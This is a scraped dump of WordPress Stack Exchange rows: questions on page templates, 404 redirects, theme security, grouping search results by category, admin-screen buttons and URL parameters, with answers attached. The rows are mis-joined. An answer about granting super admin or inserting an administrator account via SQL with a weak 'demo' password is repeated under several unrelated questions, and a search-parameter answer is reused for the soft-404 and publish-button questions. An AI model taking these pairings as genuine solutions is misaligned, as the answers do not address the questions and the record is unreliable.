<ul>
<li>Make sure all words are spelled correctly.</li>
<li>Try different keywords.</li>
<li>Try more general keywords.</li>
</ul>
</article>
<?php endif; ?>
</body>
</html>
``` | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,635 | <p>I have a custom page template named "page-news.php" and it contains</p>
<pre><code><?php
/*
* Template Name: News
*/
get_header();
?>
test
<?php
wp_footer();
get_footer();
?>
</code></pre>
<p>and I then create a page and set the template to "News" but when I view the page, it does not display the contents on the page-news.php custom page template, instead it display the archive.php contents (I have test it, whatever I put unto the archive.php contents, it display on the page that I hook unto the page-news.php custom page template). Any ideas, help please? I'm running WP 4.7.2.</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. S... | 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255635",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24673/"
] | I have a custom page template named "page-news.php" and it contains
```
<?php
/*
* Template Name: News
*/
get_header();
?>
test
<?php
wp_footer();
get_footer();
?>
```
and I then create a page and set the template to "News" but when I view the page, it does not display the contents on the page-news.php custom page template, instead it display the archive.php contents (I have test it, whatever I put unto the archive.php contents, it display on the page that I hook unto the page-news.php custom page template). Any ideas, help please? I'm running WP 4.7.2. | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,662 | <p>I have 404s generated for a deleted CSS&JS files and i want to redirect the requests for those files in general. I mean a redirect for all 404 generated for CSS&JS files. </p>
<p>These errors are generated by google crawlers.
Please note that those files are generated randomly from a caching plugin <code>WP Fastest Cache</code> which generates different file names on every delete for the cached files.. some times i make some CSS changes so i always have to delete those files.</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. S... | 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255662",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/102224/"
] | I have 404s generated for a deleted CSS&JS files and i want to redirect the requests for those files in general. I mean a redirect for all 404 generated for CSS&JS files.
These errors are generated by google crawlers.
Please note that those files are generated randomly from a caching plugin `WP Fastest Cache` which generates different file names on every delete for the cached files.. some times i make some CSS changes so i always have to delete those files. | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,665 | <p>I've recently started <a href="http://underscores.me/" rel="nofollow noreferrer">underscores</a> to make custom one off themes for clients because I like starting with a blank canvas. I see that lots of websites use custom themes which are generally named after the business they are made for, however I am concerned that using underscores as a one person team will leave my clients open to future security threats and it's also very time consuming. Is there something I'm missing here? How are small web design studios able to make one off custom themes and keep them secure?</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. S... | 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255665",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112328/"
] | I've recently started [underscores](http://underscores.me/) to make custom one off themes for clients because I like starting with a blank canvas. I see that lots of websites use custom themes which are generally named after the business they are made for, however I am concerned that using underscores as a one person team will leave my clients open to future security threats and it's also very time consuming. Is there something I'm missing here? How are small web design studios able to make one off custom themes and keep them secure? | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,691 | <p>For a client I need to group results on the search results page by category. In this case it would <em>not</em> be posts, but <strong>pages</strong> that have inherited categories form posts with the <a href="https://nl.wordpress.org/plugins/add-tags-and-category-to-page/" rel="nofollow noreferrer">Add Tags And Category To Page And Post Types</a> plugin.</p>
<p>This is the non-edited search results page template:</p>
<pre><code> <div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'bonestheme' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article id="post-<?php the_ID(); ?>" <?php post_class('cf'); ?> role="article">
<header class="entry-header article-header">
<h3 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
<p class="byline entry-meta vcard">
<?php printf( __( 'Posted %1$s by %2$s', 'bonestheme' ),
/* the time the post was published */
'<time class="updated entry-time" datetime="' . get_the_time('Y-m-d') . '" itemprop="datePublished">' . get_the_time(get_option('date_format')) . '</time>',
/* the author of the post */
'<span class="by">by</span> <span class="entry-author author" itemprop="author" itemscope itemptype="http://schema.org/Person">' . get_the_author_link( get_the_author_meta( 'ID' ) ) . '</span>'
); ?>
</p>
</header>
<section class="entry-content">
<?php the_excerpt( '<span class="read-more">' . __( 'Read more &raquo;', 'bonestheme' ) . '</span>' ); ?>
</section>
<footer class="article-footer">
<?php if(get_the_category_list(', ') != ''): ?>
<?php printf( __( 'Filed under: %1$s', 'bonestheme' ), get_the_category_list(', ') ); ?>
<?php endif; ?>
<?php the_tags( '<p class="tags"><span class="tags-title">' . __( 'Tags:', 'bonestheme' ) . '</span> ', ', ', '</p>' ); ?>
</footer> <!-- end article footer -->
</article>
<?php endwhile; ?>
<?php boilerplate_page_navi(); ?>
<?php else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
</div>
</code></pre>
<p>And this is how I got so far with a little help:</p>
<pre><code><div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php
$list_per_category = [];
$search_filters = array(
'post_type' => 'page' // Doorzoekt alle post types
);
$search_result = new WP_Query( $search_filters );
//var_dump($search_result);
if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();
//Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer
ob_start(); ?>
<article>
<?php // create our link now that the post is setup ?>
<h4 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h4>
<?php the_excerpt( '<span class="read-more">' . __( 'Read more &raquo;', 'boilerplate' ) . '</span>' ); ?>
</article>
<?php
$post_html = ob_get_clean();
//Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.
$post_categories = get_the_category();
foreach ($post_categories as $post_category) :
if($post_category->parent == 0):
if (!isset($list_per_category[$post_category->term_id])):
$list_per_category[$post_category->term_id]['category'] = $post_category;
$list_per_category[$post_category->term_id]['posts'] = [];
endif;
$list_per_category[$post_category->term_id]['posts'][] = $post_html;
endif;
endforeach;
endwhile;
//Doorloop de gemaakte structuur van posts per category en toon deze
foreach ($list_per_category as $list_item) :
echo '<div class="category' . $list_item['category']->slug . '">
<h2>' . $list_item['category']->name . '</h2>';
foreach ($list_item['posts'] as $post_html) :
echo $post_html;
endforeach;
echo '</div>';
endforeach;
else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
</code></pre>
<p></p>
<p>The problem here is that all pages are being listed that have a category, not just the search results that have a category. It looks like the loop is missing some kind of search-query parameter. I would like to know how I can improve the page template so it shows the search results by category. Maybe there is a much easier way than what I posted above?</p>
<p>Thanks in advance!</p>
| [
{
"answer_id": 255694,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Add in the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter\" rel=\"nofo... | 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255691",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/75046/"
] | For a client I need to group results on the search results page by category. In this case it would *not* be posts, but **pages** that have inherited categories form posts with the [Add Tags And Category To Page And Post Types](https://nl.wordpress.org/plugins/add-tags-and-category-to-page/) plugin.
This is the non-edited search results page template:
```
<div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'bonestheme' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article id="post-<?php the_ID(); ?>" <?php post_class('cf'); ?> role="article">
<header class="entry-header article-header">
<h3 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
<p class="byline entry-meta vcard">
<?php printf( __( 'Posted %1$s by %2$s', 'bonestheme' ),
/* the time the post was published */
'<time class="updated entry-time" datetime="' . get_the_time('Y-m-d') . '" itemprop="datePublished">' . get_the_time(get_option('date_format')) . '</time>',
/* the author of the post */
'<span class="by">by</span> <span class="entry-author author" itemprop="author" itemscope itemptype="http://schema.org/Person">' . get_the_author_link( get_the_author_meta( 'ID' ) ) . '</span>'
); ?>
</p>
</header>
<section class="entry-content">
<?php the_excerpt( '<span class="read-more">' . __( 'Read more »', 'bonestheme' ) . '</span>' ); ?>
</section>
<footer class="article-footer">
<?php if(get_the_category_list(', ') != ''): ?>
<?php printf( __( 'Filed under: %1$s', 'bonestheme' ), get_the_category_list(', ') ); ?>
<?php endif; ?>
<?php the_tags( '<p class="tags"><span class="tags-title">' . __( 'Tags:', 'bonestheme' ) . '</span> ', ', ', '</p>' ); ?>
</footer> <!-- end article footer -->
</article>
<?php endwhile; ?>
<?php boilerplate_page_navi(); ?>
<?php else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
</div>
```
And this is how I got so far with a little help:
```
<div id="content">
<div id="inner-content" class="wrap cf">
<main id="main" class="m-all t-2of3 d-5of7 cf" role="main">
<h1 class="archive-title"><span><?php _e( 'Search Results for:', 'boilerplate' ); ?></span> <?php echo esc_attr(get_search_query()); ?></h1>
<?php
$list_per_category = [];
$search_filters = array(
'post_type' => 'page' // Doorzoekt alle post types
);
$search_result = new WP_Query( $search_filters );
//var_dump($search_result);
if ($search_result->have_posts()) : while ($search_result->have_posts()) : $search_result->the_post();
//Genereer de html voor het zoekresultaat van de post, en bewaar deze in een buffer
ob_start(); ?>
<article>
<?php // create our link now that the post is setup ?>
<h4 class="search-title entry-title"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h4>
<?php the_excerpt( '<span class="read-more">' . __( 'Read more »', 'boilerplate' ) . '</span>' ); ?>
</article>
<?php
$post_html = ob_get_clean();
//Loop de hoofdcategorieen van de post door en maak hier een overkoepelende structuur voor aan die we kunnen gebruiken voor de lijstweergave van het zoekresultaat.
$post_categories = get_the_category();
foreach ($post_categories as $post_category) :
if($post_category->parent == 0):
if (!isset($list_per_category[$post_category->term_id])):
$list_per_category[$post_category->term_id]['category'] = $post_category;
$list_per_category[$post_category->term_id]['posts'] = [];
endif;
$list_per_category[$post_category->term_id]['posts'][] = $post_html;
endif;
endforeach;
endwhile;
//Doorloop de gemaakte structuur van posts per category en toon deze
foreach ($list_per_category as $list_item) :
echo '<div class="category' . $list_item['category']->slug . '">
<h2>' . $list_item['category']->name . '</h2>';
foreach ($list_item['posts'] as $post_html) :
echo $post_html;
endforeach;
echo '</div>';
endforeach;
else : ?>
<article id="post-not-found" class="hentry cf">
<header class="article-header">
<h1><?php _e( 'Sorry, No Results.', 'bonestheme' ); ?></h1>
</header>
<section class="entry-content">
<p><?php _e( 'Try your search again.', 'bonestheme' ); ?></p>
</section>
<footer class="article-footer">
<p><?php _e( 'This is the error message in the search.php template.', 'bonestheme' ); ?></p>
</footer>
</article>
<?php endif; ?>
</main>
<?php get_sidebar(); ?>
</div>
```
The problem here is that all pages are being listed that have a category, not just the search results that have a category. It looks like the loop is missing some kind of search-query parameter. I would like to know how I can improve the page template so it shows the search results by category. Maybe there is a much easier way than what I posted above?
Thanks in advance! | Add in the [search parameter](https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter) to your query:
```
$search_filters = array(
'post_type' => 'page', // Doorzoekt alle post types
's' => $keyword // show only posts that meet the current search query
);
```
And above that you should just be able to grab the keyword right from your querystring like so:
```
$keyword = $_GET['s'];
```
There's also a WordPress [native function](https://codex.wordpress.org/Template_Tags/get_search_query) that grabs your current search query which might be better to use than grabbing it manually from the querystring:
```
$keyword = get_search_query();
``` |
255,722 | <p>I have recently been notified by Google Webmaster tools that there has been an increase in soft 404 pages. This is due to no results being returned by pre-defined links to search queries that are intended to filter through custom post types that have predefined tags.</p>
<p>What would be the best way to prevent a 'soft 404', and satisfy Googles detection settings?</p>
| [
{
"answer_id": 255694,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Add in the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter\" rel=\"nofo... | 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255722",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112876/"
] | I have recently been notified by Google Webmaster tools that there has been an increase in soft 404 pages. This is due to no results being returned by pre-defined links to search queries that are intended to filter through custom post types that have predefined tags.
What would be the best way to prevent a 'soft 404', and satisfy Googles detection settings? | Add in the [search parameter](https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter) to your query:
```
$search_filters = array(
'post_type' => 'page', // Doorzoekt alle post types
's' => $keyword // show only posts that meet the current search query
);
```
And above that you should just be able to grab the keyword right from your querystring like so:
```
$keyword = $_GET['s'];
```
There's also a WordPress [native function](https://codex.wordpress.org/Template_Tags/get_search_query) that grabs your current search query which might be better to use than grabbing it manually from the querystring:
```
$keyword = get_search_query();
``` |
255,738 | <p>I'm trying to change the layout of the <strong>post-new.php</strong> page and as part of this I would like the publish, save draft and preview buttons below the form rather than to the right.</p>
<p>So in my plugin js file I'm using jQuery.append() to move them into a custom that sits below the main . I'm moving the divs: #save-action, #preview-action and #publishing-action.</p>
<p>This works fine layout-wise. However, now none of the buttons seem to perform their job. The publish button just appends some text to the url, the preview button just refreshes the page and the save draft button does nothing. I'm assuming I've broken something by moving them because all of my other styling works with their functionality. </p>
<p>Does wordpress reference the they are in or something like that to attach the actions to the buttons?</p>
<p>One fix would be to just call the relevant wp_*_() functions myself on the buttons but I can't seem to find them in the codex.</p>
<p>I guess another fix would be to move them while maintaining the structure of s that wordpress needs to keep the functionality intact.</p>
<p>I'm new to plugins in the backend so I'm probably doing something very wrong. I'd be grateful if someone could point me in the right direction. Or help me find the relevant wp_*_() functions to "re-attach" to the buttons.</p>
<p>Thank you for your time.</p>
| [
{
"answer_id": 255694,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Add in the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter\" rel=\"nofo... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255738",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112889/"
] | I'm trying to change the layout of the **post-new.php** page and as part of this I would like the publish, save draft and preview buttons below the form rather than to the right.
So in my plugin js file I'm using jQuery.append() to move them into a custom that sits below the main . I'm moving the divs: #save-action, #preview-action and #publishing-action.
This works fine layout-wise. However, now none of the buttons seem to perform their job. The publish button just appends some text to the url, the preview button just refreshes the page and the save draft button does nothing. I'm assuming I've broken something by moving them because all of my other styling works with their functionality.
Does wordpress reference the they are in or something like that to attach the actions to the buttons?
One fix would be to just call the relevant wp\_\*\_() functions myself on the buttons but I can't seem to find them in the codex.
I guess another fix would be to move them while maintaining the structure of s that wordpress needs to keep the functionality intact.
I'm new to plugins in the backend so I'm probably doing something very wrong. I'd be grateful if someone could point me in the right direction. Or help me find the relevant wp\_\*\_() functions to "re-attach" to the buttons.
Thank you for your time. | Add in the [search parameter](https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter) to your query:
```
$search_filters = array(
'post_type' => 'page', // Doorzoekt alle post types
's' => $keyword // show only posts that meet the current search query
);
```
And above that you should just be able to grab the keyword right from your querystring like so:
```
$keyword = $_GET['s'];
```
There's also a WordPress [native function](https://codex.wordpress.org/Template_Tags/get_search_query) that grabs your current search query which might be better to use than grabbing it manually from the querystring:
```
$keyword = get_search_query();
``` |
255,749 | <p>I need help. I’m making a plugin in woo which add html when URL contains a specific word.</p>
<p>I used <code>get_site_url</code>, <code>get_permalink</code>, and others but strangely none was sending the information. Finally I decided use <code>$_SERVER[REQUEST_URI]</code> and works but on some pages doesn’t. Why is this happening? What can I do?</p>
| [
{
"answer_id": 255751,
"author": "Roel Magdaleno",
"author_id": 99204,
"author_profile": "https://wordpress.stackexchange.com/users/99204",
"pm_score": 1,
"selected": false,
"text": "<p>how's the URL structure? Could you paste here?</p>\n\n<p>If you're URL follows this structure: <code>h... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255749",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112896/"
] | I need help. I’m making a plugin in woo which add html when URL contains a specific word.
I used `get_site_url`, `get_permalink`, and others but strangely none was sending the information. Finally I decided use `$_SERVER[REQUEST_URI]` and works but on some pages doesn’t. Why is this happening? What can I do? | how's the URL structure? Could you paste here?
If you're URL follows this structure: `http://example.com/?foo=bar`, so you need to get the `foo` value with this:
```
if ( isset( $_GET['foo'] ) ) {
$bar_value = $_GET['foo'];
// Do whatever you want with $bar_value.
} else {
// Do something else.
}
```
If that doesn't work, you could test `get_query_var()`function, here is the [link](https://developer.wordpress.org/reference/functions/get_query_var/). This should work like the code below in a simple way.
Tell me if any of this worked for you. |
255,750 | <p><strong>UPDATE:</strong> I have corrected the below code, to reflect the answer which resolved my issue.</p>
<p>I have created a Custom Admin Page and have managed to get all of my Fields and Save buttons to work.</p>
<p>Within said Custom Admin Page, I have an 'Upload Profile Image' button. The button works fine, in the respect of triggering the 'Upload Media' window, with one issue, the first click on the button does not work. Once I have done the first 'faulty click', all subsequent clicks work until I reload the page where the first click does nothing again. </p>
<p>It is my first time working with JavaScript properly, so I am not entirely sure where the error could lie. Here is the JavaScript code I am using:</p>
<pre><code>jQuery(document).ready(function($){
var mediaUploader;
$('#upload-button').on('click',function(e) {
e.preventDefault();
if( mediaUploader ){
mediaUploader.open();
return;
}
mediaUploader = wp.media.frames.fle_frame = wp.media({
title: 'Choose a Profile Picture',
button: {
text: 'Choose Picture'
},
multiple: false
})
mediaUploader.on('select', function(){
attachment = mediaUploader.state().get('selection').first().toJSON();
$('#profile-picture').val(attachment.url); //Was missing this line.
});
mediaUploader.open(); //As soon as I entered this line here, it resolved my 'double click' issue.
});
});
</code></pre>
<p>Is anyone able to see if it is something in my coding that is causing this issue?</p>
| [
{
"answer_id": 255753,
"author": "Craig",
"author_id": 112472,
"author_profile": "https://wordpress.stackexchange.com/users/112472",
"pm_score": 2,
"selected": true,
"text": "<p>I have just sussed out the answer. I was missing the <code>mediaUploader.open();</code> entry. I have amende... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255750",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112472/"
] | **UPDATE:** I have corrected the below code, to reflect the answer which resolved my issue.
I have created a Custom Admin Page and have managed to get all of my Fields and Save buttons to work.
Within said Custom Admin Page, I have an 'Upload Profile Image' button. The button works fine, in the respect of triggering the 'Upload Media' window, with one issue, the first click on the button does not work. Once I have done the first 'faulty click', all subsequent clicks work until I reload the page where the first click does nothing again.
It is my first time working with JavaScript properly, so I am not entirely sure where the error could lie. Here is the JavaScript code I am using:
```
jQuery(document).ready(function($){
var mediaUploader;
$('#upload-button').on('click',function(e) {
e.preventDefault();
if( mediaUploader ){
mediaUploader.open();
return;
}
mediaUploader = wp.media.frames.fle_frame = wp.media({
title: 'Choose a Profile Picture',
button: {
text: 'Choose Picture'
},
multiple: false
})
mediaUploader.on('select', function(){
attachment = mediaUploader.state().get('selection').first().toJSON();
$('#profile-picture').val(attachment.url); //Was missing this line.
});
mediaUploader.open(); //As soon as I entered this line here, it resolved my 'double click' issue.
});
});
```
Is anyone able to see if it is something in my coding that is causing this issue? | I have just sussed out the answer. I was missing the `mediaUploader.open();` entry. I have amended my original code, accordingly, just in case anyone is having the same issue. |
255,760 | <p>I have a WP Network (sub directory), Sometime specially in case of security emergencies, it is generally preferred to change passwords for all users. </p>
<p>I am looking for a way to reset passwords by sending a password reset url
via email to each user on the network.</p>
<p>Goal here is to just reset all passwords and make users regenerate them through the reset password link on the front end.
Also I would like to kill all active sessions </p>
<p>The easiest way to do this is to regenerate all the SALTs (in .env for me)</p>
<p>How can I do this using wp-cli?</p>
<p>I am comparative new to wp-cli and found out <a href="https://wp-cli.org/commands/user/update/" rel="nofollow noreferrer">https://wp-cli.org/commands/user/update/</a>
where it explains how I can do for an individual user. </p>
<pre><code># Update user
$ wp user update 123 --display_name=Mary --user_pass=marypass
Success: Updated user 123
</code></pre>
<p>.</p>
<p>But there are two problems here,</p>
<ol>
<li>The password has to be entered along with the username, which I think is not the ideal method.</li>
<li>The user should have the freedom to select their password,(consider strong passwords are forced)</li>
</ol>
<p>Any help, reference Urls?</p>
<p><em>Update</em>
I was able to make a small php files which resides on my root directory, and execute in via wp-cli and reset all the passwords at once using wp_generate_password(). </p>
<p>Since I am working on local system right now, I did not check if it sends emails with the reset URL, which is kind of important. But that does not sound too difficult. </p>
<p>What I am concern right now is, I really don't want it to be executed the way it is right now. I am using " wp eval-file password-reset.php;" </p>
<p>I want it to have it more of like a function some what like "wp reset passwords" with parameters like USERROLE, USERNAME, USERID or just * for all users. </p>
<p>Does anyone have any idea how can I get that???</p>
| [
{
"answer_id": 356337,
"author": "Rafa",
"author_id": 181040,
"author_profile": "https://wordpress.stackexchange.com/users/181040",
"pm_score": 0,
"selected": false,
"text": "<p><code>user reset-password user1 user2 userN</code></p>\n\n<p>Will reset password and send email notification t... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255760",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73820/"
] | I have a WP Network (sub directory), Sometime specially in case of security emergencies, it is generally preferred to change passwords for all users.
I am looking for a way to reset passwords by sending a password reset url
via email to each user on the network.
Goal here is to just reset all passwords and make users regenerate them through the reset password link on the front end.
Also I would like to kill all active sessions
The easiest way to do this is to regenerate all the SALTs (in .env for me)
How can I do this using wp-cli?
I am comparative new to wp-cli and found out <https://wp-cli.org/commands/user/update/>
where it explains how I can do for an individual user.
```
# Update user
$ wp user update 123 --display_name=Mary --user_pass=marypass
Success: Updated user 123
```
.
But there are two problems here,
1. The password has to be entered along with the username, which I think is not the ideal method.
2. The user should have the freedom to select their password,(consider strong passwords are forced)
Any help, reference Urls?
*Update*
I was able to make a small php files which resides on my root directory, and execute in via wp-cli and reset all the passwords at once using wp\_generate\_password().
Since I am working on local system right now, I did not check if it sends emails with the reset URL, which is kind of important. But that does not sound too difficult.
What I am concern right now is, I really don't want it to be executed the way it is right now. I am using " wp eval-file password-reset.php;"
I want it to have it more of like a function some what like "wp reset passwords" with parameters like USERROLE, USERNAME, USERID or just \* for all users.
Does anyone have any idea how can I get that??? | A simple solution is:
```
wp user reset-password $(wp user list --field=user_login)
```
got that from forcing all plugins update after a minor takeover:
```
wp plugin install $(wp plugin list --field=name) --force
``` |
255,767 | <p>I created this plugin and now I'm getting fatal error message. I'm very new to this. Please tell me where I'm wrong:</p>
<pre><code><?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic result display plugin.
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
